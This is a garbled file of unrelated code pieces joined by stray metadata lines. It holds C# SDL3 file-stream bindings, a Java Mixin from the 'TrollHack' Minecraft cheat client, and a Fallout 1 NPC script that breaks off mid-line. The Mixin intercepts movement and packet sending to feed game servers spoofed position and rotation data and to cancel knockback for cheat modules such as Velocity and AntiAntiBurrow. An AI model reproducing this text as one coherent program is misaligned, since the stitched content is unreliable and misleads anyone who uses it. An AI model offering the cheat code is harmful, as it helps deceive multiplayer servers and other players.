CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("void*")] public static extern IntPtr SDL_LoadFile_IO(SDL_IOStream* src, [NativeTypeName("size_t *")] nuint* datasize, [NativeTypeName("bool")] SDLBool closeio); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("void*")] public static extern IntPtr SDL_LoadFile([NativeTypeName("const char *")] byte* file, [NativeTypeName("size_t *")] nuint* datasize); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_SaveFile_IO(SDL_IOStream* src, [NativeTypeName("const void *")] IntPtr data, [NativeTypeName("size_t")] nuint datasize, [NativeTypeName("bool")] SDLBool closeio); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_SaveFile([NativeTypeName("const char *")] byte* file, [NativeTypeName("const void *")] IntPtr data, [NativeTypeName("size_t")] nuint datasize); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadU8(SDL_IOStream* src, [NativeTypeName("Uint8 *")] byte* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadS8(SDL_IOStream* src, [NativeTypeName("Sint8 *")] sbyte* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadU16LE(SDL_IOStream* src, [NativeTypeName("Uint16 *")] ushort* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadS16LE(SDL_IOStream* src, [NativeTypeName("Sint16 *")] short* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadU16BE(SDL_IOStream* src, [NativeTypeName("Uint16 *")] ushort* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadS16BE(SDL_IOStream* src, [NativeTypeName("Sint16 *")] short* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadU32LE(SDL_IOStream* src, [NativeTypeName("Uint32 *")] uint* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadS32LE(SDL_IOStream* src, [NativeTypeName("Sint32 *")] int* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadU32BE(SDL_IOStream* src, [NativeTypeName("Uint32 *")] uint* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadS32BE(SDL_IOStream* src, [NativeTypeName("Sint32 *")] int* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadU64LE(SDL_IOStream* src, [NativeTypeName("Uint64 *")] ulong* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadS64LE(SDL_IOStream* src, [NativeTypeName("Sint64 *")] long* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadU64BE(SDL_IOStream* src, [NativeTypeName("Uint64 *")] ulong* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_ReadS64BE(SDL_IOStream* src, [NativeTypeName("Sint64 *")] long* value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteU8(SDL_IOStream* dst, [NativeTypeName("Uint8")] byte value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteS8(SDL_IOStream* dst, [NativeTypeName("Sint8")] sbyte value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteU16LE(SDL_IOStream* dst, [NativeTypeName("Uint16")] ushort value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteS16LE(SDL_IOStream* dst, [NativeTypeName("Sint16")] short value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteU16BE(SDL_IOStream* dst, [NativeTypeName("Uint16")] ushort value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteS16BE(SDL_IOStream* dst, [NativeTypeName("Sint16")] short value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteU32LE(SDL_IOStream* dst, [NativeTypeName("Uint32")] uint value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteS32LE(SDL_IOStream* dst, [NativeTypeName("Sint32")] int value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteU32BE(SDL_IOStream* dst, [NativeTypeName("Uint32")] uint value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteS32BE(SDL_IOStream* dst, [NativeTypeName("Sint32")] int value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteU64LE(SDL_IOStream* dst, [NativeTypeName("Uint64")] ulong value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteS64LE(SDL_IOStream* dst, [NativeTypeName("Sint64")] long value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteU64BE(SDL_IOStream* dst, [NativeTypeName("Uint64")] ulong value); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_WriteS64BE(SDL_IOStream* dst, [NativeTypeName("Sint64")] long value); [NativeTypeName("#define SDL_PROP_IOSTREAM_WINDOWS_HANDLE_POINTER \"SDL.iostream.windows.handle\"")] public static ReadOnlySpan<byte> SDL_PROP_IOSTREAM_WINDOWS_HANDLE_POINTER => "SDL.iostream.windows.handle"u8; [NativeTypeName("#define SDL_PROP_IOSTREAM_STDIO_FILE_POINTER \"SDL.iostream.stdio.file\"")] public static ReadOnlySpan<byte> SDL_PROP_IOSTREAM_STDIO_FILE_POINTER => "SDL.iostream.stdio.file"u8; [NativeTypeName("#define SDL_PROP_IOSTREAM_FILE_DESCRIPTOR_NUMBER \"SDL.iostream.file_descriptor\"")] public static ReadOnlySpan<byte> SDL_PROP_IOSTREAM_FILE_DESCRIPTOR_NUMBER => "SDL.iostream.file_descriptor"u8; [NativeTypeName("#define SDL_PROP_IOSTREAM_ANDROID_AASSET_POINTER \"SDL.iostream.android.aasset\"")] public static ReadOnlySpan<byte> SDL_PROP_IOSTREAM_ANDROID_AASSET_POINTER => "SDL.iostream.android.aasset"u8; [NativeTypeName("#define SDL_PROP_IOSTREAM_MEMORY_POINTER \"SDL.iostream.memory.base\"")] public static ReadOnlySpan<byte> SDL_PROP_IOSTREAM_MEMORY_POINTER => "SDL.iostream.memory.base"u8; [NativeTypeName("#define SDL_PROP_IOSTREAM_MEMORY_SIZE_NUMBER \"SDL.iostream.memory.size\"")] public static ReadOnlySpan<byte> SDL_PROP_IOSTREAM_MEMORY_SIZE_NUMBER => "SDL.iostream.memory.size"u8; [NativeTypeName("#define SDL_PROP_IOSTREAM_MEMORY_FREE_FUNC_POINTER \"SDL.iostream.memory.free\"")] public static ReadOnlySpan<byte> SDL_PROP_IOSTREAM_MEMORY_FREE_FUNC_POINTER => "SDL.iostream.memory.free"u8; [NativeTypeName("#define SDL_PROP_IOSTREAM_DYNAMIC_MEMORY_POINTER \"SDL.iostream.dynamic.memory\"")] public static ReadOnlySpan<byte> SDL_PROP_IOSTREAM_DYNAMIC_MEMORY_POINTER => "SDL.iostream.dynamic.memory"u8; [NativeTypeName("#define SDL_PROP_IOSTREAM_DYNAMIC_CHUNKSIZE_NUMBER \"SDL.iostream.dynamic.chunksize\"")] public static ReadOnlySpan<byte> SDL_PROP_IOSTREAM_DYNAMIC_CHUNKSIZE_NUMBER => "SDL.iostream.dynamic.chunksize"u8; } }
0
0.713121
1
0.713121
game-dev
MEDIA
0.269385
game-dev
0.519478
1
0.519478
Luna5ama/TrollHack
10,926
src/main/java/dev/luna5ama/trollhack/mixins/core/player/MixinEntityPlayerSP.java
package dev.luna5ama.trollhack.mixins.core.player; import com.mojang.authlib.GameProfile; import dev.luna5ama.trollhack.event.events.player.OnUpdateWalkingPlayerEvent; import dev.luna5ama.trollhack.event.events.player.PlayerMoveEvent; import dev.luna5ama.trollhack.manager.managers.MessageManager; import dev.luna5ama.trollhack.manager.managers.PlayerPacketManager; import dev.luna5ama.trollhack.module.modules.chat.PortalChat; import dev.luna5ama.trollhack.module.modules.exploit.AntiAntiBurrow; import dev.luna5ama.trollhack.module.modules.movement.Velocity; import dev.luna5ama.trollhack.module.modules.player.Freecam; import dev.luna5ama.trollhack.module.modules.player.SwingLimiter; import dev.luna5ama.trollhack.util.Wrapper; import net.minecraft.client.Minecraft; import net.minecraft.client.entity.EntityPlayerSP; import net.minecraft.client.gui.GuiScreen; import net.minecraft.client.network.NetHandlerPlayClient; import net.minecraft.entity.MoverType; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.network.play.client.CPacketEntityAction; import net.minecraft.network.play.client.CPacketPlayer; import net.minecraft.util.EnumHand; import net.minecraft.util.math.Vec3d; import net.minecraft.world.World; import org.spongepowered.asm.mixin.Final; import org.spongepowered.asm.mixin.Mixin; import org.spongepowered.asm.mixin.Shadow; import org.spongepowered.asm.mixin.injection.At; import org.spongepowered.asm.mixin.injection.Inject; import org.spongepowered.asm.mixin.injection.Redirect; import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; @Mixin(value = EntityPlayerSP.class, priority = Integer.MAX_VALUE) public abstract class MixinEntityPlayerSP extends EntityPlayer { @Shadow @Final public NetHandlerPlayClient connection; @Shadow protected Minecraft mc; @Shadow private double lastReportedPosX; @Shadow private double lastReportedPosY; @Shadow private double lastReportedPosZ; @Shadow private float lastReportedYaw; @Shadow private int positionUpdateTicks; @Shadow private float lastReportedPitch; @Shadow private boolean serverSprintState; @Shadow private boolean serverSneakState; @Shadow private boolean prevOnGround; @Shadow private boolean autoJumpEnabled; public MixinEntityPlayerSP(World worldIn, GameProfile gameProfileIn) { super(worldIn, gameProfileIn); } @Shadow protected abstract boolean isCurrentViewEntity(); @Shadow protected abstract void updateAutoJump(float p_189810_1_, float p_189810_2_); @Redirect(method = "onLivingUpdate", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/entity/EntityPlayerSP;closeScreen()V")) public void closeScreen(EntityPlayerSP player) { if (PortalChat.INSTANCE.isDisabled()) player.closeScreen(); } @Redirect(method = "onLivingUpdate", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/Minecraft;displayGuiScreen(Lnet/minecraft/client/gui/GuiScreen;)V")) public void closeScreen(Minecraft minecraft, GuiScreen screen) { if (PortalChat.INSTANCE.isDisabled()) Wrapper.getMinecraft().displayGuiScreen(screen); } @Inject(method = "move", at = @At("HEAD"), cancellable = true) public void move$Inject$HEAD(MoverType type, double x, double y, double z, CallbackInfo ci) { switch (type) { case SELF: { EntityPlayerSP player = Wrapper.getPlayer(); if (player == null) return; PlayerMoveEvent.Pre event = new PlayerMoveEvent.Pre(player); event.post(); if (event.isModified()) { double prevX = this.posX; double prevZ = this.posZ; super.move(type, event.getX(), event.getY(), event.getZ()); this.updateAutoJump((float) (this.posX - prevX), (float) (this.posZ - prevZ)); PlayerMoveEvent.Post.INSTANCE.post(); ci.cancel(); } } case PLAYER: { break; } default: { if (AntiAntiBurrow.INSTANCE.isEnabled() || Velocity.shouldCancelMove()) { ci.cancel(); } } } } @Inject(method = "move", at = @At("RETURN")) public void move$Inject$RETURN(MoverType type, double x, double y, double z, CallbackInfo ci) { PlayerMoveEvent.Post.INSTANCE.post(); } // We have to return true here so it would still update movement inputs from Baritone and send packets @Inject(method = "isCurrentViewEntity", at = @At("HEAD"), cancellable = true) protected void mixinIsCurrentViewEntity(CallbackInfoReturnable<Boolean> cir) { if (Freecam.INSTANCE.isEnabled() && Freecam.INSTANCE.getCameraGuy() != null) { cir.setReturnValue(mc.getRenderViewEntity() == Freecam.INSTANCE.getCameraGuy()); } } @Inject(method = "sendChatMessage", at = @At("HEAD")) public void sendChatMessage(String message, CallbackInfo ci) { MessageManager.INSTANCE.setLastPlayerMessage(message); } @Inject(method = "swingArm", at = @At("HEAD"), cancellable = true) public void swingArm$Inject$HEAD(EnumHand hand, CallbackInfo ci) { if (!SwingLimiter.checkSwingDelay()) { ci.cancel(); } } @Inject(method = "onUpdate", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/entity/EntityPlayerSP;onUpdateWalkingPlayer()V", shift = At.Shift.AFTER)) private void onUpdateInvokeOnUpdateWalkingPlayer(CallbackInfo ci) { Vec3d serverSidePos = PlayerPacketManager.INSTANCE.getPosition(); float serverSideRotationX = PlayerPacketManager.INSTANCE.getRotationX(); float serverSideRotationY = PlayerPacketManager.INSTANCE.getRotationY(); this.lastReportedPosX = serverSidePos.x; this.lastReportedPosY = serverSidePos.y; this.lastReportedPosZ = serverSidePos.z; this.lastReportedYaw = serverSideRotationX; this.lastReportedPitch = serverSideRotationY; this.rotationYawHead = serverSideRotationX; } @Inject(method = "onUpdateWalkingPlayer", at = @At("HEAD"), cancellable = true) private void onUpdateWalkingPlayerHead(CallbackInfo ci) { // Setup flags Vec3d position = new Vec3d(this.posX, this.getEntityBoundingBox().minY, this.posZ); float rotationX = this.rotationYaw; float rotationY = this.rotationPitch; boolean onGround = this.onGround; OnUpdateWalkingPlayerEvent.Pre eventPre = new OnUpdateWalkingPlayerEvent.Pre( position, rotationX, rotationY, onGround ); eventPre.post(); PlayerPacketManager.INSTANCE.applyPacket(eventPre); if (eventPre.getCancelled()) { ci.cancel(); if (!eventPre.getCancelAll()) { // Copy flags from event position = eventPre.getPosition(); rotationX = eventPre.getRotationX(); rotationY = eventPre.getRotationY(); onGround = eventPre.isOnGround(); boolean moving = !eventPre.getCancelMove() && isMoving(position); boolean rotating = !eventPre.getCancelRotate() && isRotating(rotationX, rotationY); sendSprintPacket(); sendSneakPacket(); sendPlayerPacket(moving, rotating, position, rotationX, rotationY, onGround); this.prevOnGround = onGround; } ++this.positionUpdateTicks; this.autoJumpEnabled = this.mc.gameSettings.autoJump; } OnUpdateWalkingPlayerEvent.Post eventPos = new OnUpdateWalkingPlayerEvent.Post( position, rotationX, rotationY, onGround ); eventPos.post(); } private void sendSprintPacket() { boolean sprinting = this.isSprinting(); if (sprinting != this.serverSprintState) { if (sprinting) { this.connection.sendPacket(new CPacketEntityAction(this, CPacketEntityAction.Action.START_SPRINTING)); } else { this.connection.sendPacket(new CPacketEntityAction(this, CPacketEntityAction.Action.STOP_SPRINTING)); } this.serverSprintState = sprinting; } } private void sendSneakPacket() { boolean sneaking = this.isSneaking(); if (sneaking != this.serverSneakState) { if (sneaking) { this.connection.sendPacket(new CPacketEntityAction(this, CPacketEntityAction.Action.START_SNEAKING)); } else { this.connection.sendPacket(new CPacketEntityAction(this, CPacketEntityAction.Action.STOP_SNEAKING)); } this.serverSneakState = sneaking; } } private void sendPlayerPacket( boolean moving, boolean rotating, Vec3d position, float rotationX, float rotationY, boolean onGround ) { if (!this.isCurrentViewEntity()) return; if (this.isRiding()) { this.connection.sendPacket(new CPacketPlayer.PositionRotation( this.motionX, -999.0D, this.motionZ, rotationX, rotationY, onGround )); moving = false; } else if (moving && rotating) { this.connection.sendPacket(new CPacketPlayer.PositionRotation( position.x, position.y, position.z, rotationX, rotationY, onGround )); } else if (moving) { this.connection.sendPacket(new CPacketPlayer.Position(position.x, position.y, position.z, onGround)); } else if (rotating) { this.connection.sendPacket(new CPacketPlayer.Rotation(rotationX, rotationY, onGround)); } else if (this.prevOnGround != onGround) { this.connection.sendPacket(new CPacketPlayer(onGround)); } if (moving) { this.positionUpdateTicks = 0; } } private boolean isMoving(Vec3d position) { double xDiff = position.x - this.lastReportedPosX; double yDiff = position.y - this.lastReportedPosY; double zDiff = position.z - this.lastReportedPosZ; return this.positionUpdateTicks >= 20 || xDiff * xDiff + yDiff * yDiff + zDiff * zDiff > 9.0E-4D; } private boolean isRotating(float rotationX, float rotationY) { return (rotationX - this.lastReportedYaw) != 0.0D || (rotationY - this.lastReportedPitch) != 0.0D; } }
0
0.931224
1
0.931224
game-dev
MEDIA
0.851326
game-dev
0.956761
1
0.956761
Sduibek/fixtsrc
27,030
SCRIPTS/SAUL.SSL
procedure start; variable SrcObj := 0; variable SrcIsParty := 0; procedure combat_p_proc;// script_action == 13 procedure critter_p_proc;// script_action == 12 procedure description_p_proc;// script_action == 3 procedure destroy_p_proc;// script_action == 18 procedure look_at_p_proc;// script_action == 21 procedure map_enter_p_proc;// script_action == 15 procedure map_update_p_proc;// script_action == 23 procedure talk_p_proc;// script_action == 11 procedure timed_event_p_proc;// script_action == 22 procedure damage_p_proc;// script_action == 14 procedure Saul06; procedure Saul07; procedure Saul08; procedure Saul09; procedure Saul10; procedure Saul11; procedure Saul12; procedure Saul13; procedure Saul14; procedure Saul15; procedure Saul16; procedure Saul17; procedure Saul18; procedure Saul18a; procedure Saul19; procedure Saul20; procedure Saul21; procedure Saul22; procedure Saul23; procedure Saul24; procedure SaulEnd; procedure SaulBoxing; procedure SaulCombat; procedure create_challenger; procedure sleeping; import variable challenger_ptr; import variable fight; import variable Saul_loses; import variable Saul_wins; import variable removal_ptr variable night_person; variable wake_time; variable sleep_time; variable home_tile; variable sleep_tile; variable HOSTILE; variable round_counter; variable sleeping_disabled; variable challenger_hits; variable Saul_hits; variable whose_turn; procedure get_reaction; procedure ReactToLevel; procedure LevelToReact; procedure UpReact; procedure DownReact; procedure BottomReact; procedure TopReact; procedure BigUpReact; procedure BigDownReact; procedure UpReactLevel; procedure DownReactLevel; procedure Goodbyes; variable exit_line; procedure items_held; variable RightHand := 0; variable LeftHand := 0; variable PIDright := 0; variable PIDleft := 0; variable SubtypeWEP := 0; procedure start begin if local_var(12) != 1 then begin// Fallout Fixt lvar12 - this code block heals critter to full HP one time (first time player enters the map) to make sure they always start with full HP. if metarule(14, 0) then begin// Fallout Fixt lvar12 - first visit to map? if metarule(22, 0) == 0 then begin// Fallout Fixt lvar12 - Not currently loading a save? if get_critter_stat(self_obj, 7) > 0 then begin critter_heal(self_obj, 999); end// if obj_is_carrying_obj_pid(self_obj, 46) > 0 then begin display_msg("S-bag " + proto_data(obj_pid(self_obj), 1)); end if obj_is_carrying_obj_pid(self_obj, 90) > 0 then begin display_msg("Pack " + proto_data(obj_pid(self_obj), 1)); end if obj_is_carrying_obj_pid(self_obj, 93) > 0 then begin display_msg("M-bag " + proto_data(obj_pid(self_obj), 1)); end if global_var(330) then begin if critter_inven_obj(self_obj, 0) <= 0 then begin// Equip held armor if not currently wearing any. variable A; if obj_carrying_pid_obj(self_obj, 17) then begin debug_msg("Fallout Fixt - Warning: CRITTER " + obj_pid(self_obj) + " HAD ARMOR BUT EMPTY ARMOR SLOT. EQUIPPING COMBAT ARMOR..."); A := obj_carrying_pid_obj(self_obj, 17); rm_obj_from_inven(self_obj, A); add_obj_to_inven(self_obj, A); wield_obj_critter(self_obj, A); end else begin if obj_carrying_pid_obj(self_obj, 2) then begin debug_msg("Fallout Fixt - Warning: CRITTER " + obj_pid(self_obj) + " HAD ARMOR BUT EMPTY ARMOR SLOT. EQUIPPING METAL ARMOR..."); A := obj_carrying_pid_obj(self_obj, 2); rm_obj_from_inven(self_obj, A); add_obj_to_inven(self_obj, A); wield_obj_critter(self_obj, A); end else begin if obj_carrying_pid_obj(self_obj, 1) then begin debug_msg("Fallout Fixt - Warning: CRITTER " + obj_pid(self_obj) + " HAD ARMOR BUT EMPTY ARMOR SLOT. EQUIPPING LEATHER ARMOR..."); A := obj_carrying_pid_obj(self_obj, 1); rm_obj_from_inven(self_obj, A); add_obj_to_inven(self_obj, A); wield_obj_critter(self_obj, A); end else begin if obj_carrying_pid_obj(self_obj, 74) then begin debug_msg("Fallout Fixt - Warning: CRITTER " + obj_pid(self_obj) + " HAD ARMOR BUT EMPTY ARMOR SLOT. EQUIPPING LEATHER JACKET..."); A := obj_carrying_pid_obj(self_obj, 74); rm_obj_from_inven(self_obj, A); add_obj_to_inven(self_obj, A); wield_obj_critter(self_obj, A); end else begin if obj_carrying_pid_obj(self_obj, 113) then begin debug_msg("Fallout Fixt - Warning: CRITTER " + obj_pid(self_obj) + " HAD ARMOR BUT EMPTY ARMOR SLOT. EQUIPPING ROBES..."); A := obj_carrying_pid_obj(self_obj, 113); rm_obj_from_inven(self_obj, A); add_obj_to_inven(self_obj, A); wield_obj_critter(self_obj, A); end end end end end end end set_local_var(12, 1); end end end if (script_action == 13) then begin//<-- combat_p_proc , basically does COMBAT_IS_INITIALIZED == 1 call combat_p_proc; end else begin if (script_action == 12) then begin//<-- critter_p_proc - (can also be "Critter_Action") - do they see you, should they wander, should they attack you, etc.. call critter_p_proc; end else begin if (script_action == 3) then begin//DETAILED ON-CLICK DESCRIPTION (Binoculars icon) - description_p_proc call description_p_proc; end else begin if (script_action == 18) then begin//destroy_p_proc - Object or Critter has been killed or otherwise eradicated. Fall down go boom. call destroy_p_proc; end else begin if (script_action == 21) then begin//MOUSE-OVER DESCRIPTION -- look_at_p_proc - (usually brief length. hovered mouse over object, haven't clicked on it.) call look_at_p_proc; end else begin if (script_action == 15) then begin//map_enter_p_proc (or "map_init") called when entering from World Map, on green "exit" grids, SOME ladders, doesn't appear to call on elevators or manholes call map_enter_p_proc; end else begin if (script_action == 23) then begin//map_update_p_proc -- called every dozen seconds or so, & additionally on certain events (exit dialog, end combat, load map, etc) call map_update_p_proc; end else begin if (script_action == 11) then begin//<--- talk_p_proc (Face icon), can also call "do_dialogue" or "do_dialog" call talk_p_proc; end else begin if (script_action == 22) then begin//<-- timed_event_p_proc -- called by ADD_TIMER_EVENT commands. "fixed_param==#" in this procedure is the number of the event in question (i.e. Add_Timer_Event dude,5,1 would be fixed_param 1) -- can also be "timeforwhat" call timed_event_p_proc; end end end end end end end end end end procedure items_held begin SubtypeWEP := 0; if critter_inven_obj(dude_obj, 1) then begin RightHand := critter_inven_obj(dude_obj, 1); PIDright := obj_pid(RightHand); if obj_item_subtype(RightHand) == 3 then begin SubtypeWEP := 1; end end else begin RightHand := 0; PIDright := 0; end if critter_inven_obj(dude_obj, 2) then begin LeftHand := critter_inven_obj(dude_obj, 2); PIDleft := obj_pid(LeftHand); if obj_item_subtype(LeftHand) == 3 then begin SubtypeWEP := 1; end end else begin LeftHand := 0; PIDleft := 0; end end procedure combat_p_proc begin if ((fixed_param == 4) and obj_can_see_obj(self_obj, dude_obj)) then begin round_counter := round_counter + 1; end if (round_counter > 3) then begin if (global_var(247) == 0) then begin set_global_var(247, 1); set_global_var(155, global_var(155) - 5); end end end procedure critter_p_proc begin if (hostile) then begin// This must come FIRST as an if/then/else before "attack dude" type code, otherwise it runs too soon and can override other attack calls HOSTILE := 0; attack_complex(dude_obj, 0, 1, 0, 0, 30000, 0, 0); end else begin if (cur_map_index == 11) then begin // JUNKTOWN - CASINO, GIZMO, SKUM PITT, BOXING, DOGMEAT if (fight) then begin fight := 0; Saul_hits := 0; challenger_hits := 0; anim(self_obj, 1000, 1); if (obj_can_see_obj(dude_obj, self_obj)) then begin if global_var(547) then begin gfade_out(1); gfade_out(1); end gfade_out(1); call create_challenger; gfade_in(1); end else begin call create_challenger; end add_timer_event(self_obj, game_ticks(1), 1); end end if (sleeping_disabled == 0) then begin call sleeping; end end if (global_var(627) == 1) then begin if (obj_can_see_obj(self_obj, dude_obj)) then begin attack_complex(dude_obj, 0, 1, 0, 0, 30000, 0, 0); end end end procedure description_p_proc begin if (is_success(do_check(dude_obj, 1, has_trait(0, dude_obj, 0)))) then begin script_overrides; display_msg(message_str(528, 102)); end end procedure destroy_p_proc begin set_global_var(169, 3); rm_timer_event(self_obj); // //BEGIN WEAPON DROP MOD CODE //--original code and mod by:-- // Josan12 (http://www.nma-fallout.com/forum/profile.php?mode=viewprofile&u=18843) and // MIB88 (http://www.nma-fallout.com/forum/profile.php?mode=viewprofile&u=4464) // if global_var(460) and not(global_var(0)) and (critter_inven_obj(self_obj, 1) or critter_inven_obj(self_obj, 2)) then begin// only run if Weapon Drop is enabled, AND Fixes Only is disabled, AND actually holding something variable item1 := 0; variable item2 := 0; variable armor := 0; variable item1PID := 0; variable item2PID := 0; variable armorPID := 0; variable drophex := 0; if global_var(325) then begin debug_msg("Weapon Drop BEGINS"); end if (critter_inven_obj(self_obj, 1) > 0) then begin item1 := critter_inven_obj(self_obj, 1); end if (critter_inven_obj(self_obj, 2) > 0) then begin item2 := critter_inven_obj(self_obj, 2); end if (critter_inven_obj(self_obj, 0) > 0) then begin armor := critter_inven_obj(self_obj, 0); end if item1 then begin item1PID := obj_pid(item1); end if item2 then begin item2PID := obj_pid(item2); end if armor then begin armorPID := obj_pid(armor); end drophex := tile_num_in_direction(tile_num(self_obj), random(0, 5), random(global_var(461), global_var(462))); if (item1PID != 19) and (item1PID != 21) and (item1PID != 79) and (item1PID != 205) and (item1PID != 234) and (item1PID != 235) and (item1PID != 244) and (item2PID != 19) and (item2PID != 21) and (item2PID != 79) and (item2PID != 205) and (item2PID != 234) and (item2PID != 235) and (item2PID != 244) then begin//Don't drop if: Rock (19), Brass Knuckles (21), Flare (79), Lit Flare (205), Spiked Knuckles (234), Power Fist (235), or Gold Nugget (244) if (item1 > 0) then begin if (obj_item_subtype(item1) == 3) then begin rm_obj_from_inven(self_obj, item1); move_to(item1, drophex, elevation(self_obj)); end end if (item2 > 0) then begin if (obj_item_subtype(item2) == 3) then begin rm_obj_from_inven(self_obj, item2); move_to(item2, drophex, elevation(self_obj)); end end if global_var(325) then begin debug_msg("Weapon Drop ENDS"); end end end //END WEAPON DROP MOD CODE // if source_obj > 0 then begin SrcObj := 0; SrcIsParty := 0; SrcObj := obj_pid(source_obj); if party_member_obj(SrcObj) then begin SrcIsParty := 1; end end if (source_obj == dude_obj) or (SrcIsParty == 1) then begin set_global_var(247, 1); set_global_var(627, 1); end if source_obj == dude_obj then begin set_global_var(159, global_var(159) + 1);// THIS MONSTER WAS A GOOD GUY. INCREASE GoodGuysKilled COUNTER if (((global_var(160) + global_var(159)) >= 25) and ((global_var(159) > (2 * global_var(160))) or (global_var(317) == 1))) then begin set_global_var(317, 1); set_global_var(157, 0); end if (((global_var(160) + global_var(159)) >= 25) and ((global_var(160) > (3 * global_var(159))) or (global_var(157) == 1))) then begin set_global_var(157, 1); set_global_var(317, 0); end if ((global_var(159) % 2) == 0) then begin set_global_var(155, (global_var(155) - 1)); end end rm_timer_event(self_obj); end procedure look_at_p_proc begin script_overrides; if (not(global_var(169))) then begin display_msg(message_str(528, 101)); end else begin display_msg(message_str(528, 100)); end end procedure map_enter_p_proc begin variable LVar0 := 0; if (global_var(15) == 1) then begin LVar0 := create_object_sid(234, 0, 0, -1); add_obj_to_inven(self_obj, LVar0); kill_critter(self_obj, 48); end sleeping_disabled := 0; sleep_time := 2000; wake_time := 700; if (cur_map_index == 11) then begin // JUNKTOWN - CASINO, GIZMO, SKUM PITT, BOXING, DOGMEAT sleep_tile := 7000; if ((game_time / (10 * 60 * 60 * 24) % 3) == 0) then begin home_tile := 15094; end else begin home_tile := 16892; end end if (global_var(169) == 3) then begin destroy_object(self_obj); end move_to(self_obj, home_tile, 0); critter_add_trait(self_obj, 1, 6, 15); end procedure map_update_p_proc begin if (not(combat_is_initialized)) then begin if ((game_time / (10 * 60 * 60 * 24) % 3) == 0) then begin home_tile := 15094; end else begin home_tile := 16892; end move_to(self_obj, home_tile, 0); if (local_var(8) == 1) then begin set_local_var(8, 0); reg_anim_animate(self_obj, 0, 0); end call sleeping; end end procedure talk_p_proc begin anim(dude_obj, 1000, rotation_to_tile(tile_num(dude_obj), tile_num(self_obj))); call get_reaction; if (local_var(4)) then begin float_msg(self_obj, message_str(185, 166), 0); end else begin if (critter_state(self_obj) bwand 1) then begin display_msg(message_str(528, 115)); end else begin if (global_var(247)) then begin float_msg(self_obj, message_str(669, 104), 2); end else begin call items_held; if (PIDright != 79) and (PIDright != 205) and (PIDleft != 79) and (PIDleft != 205) and 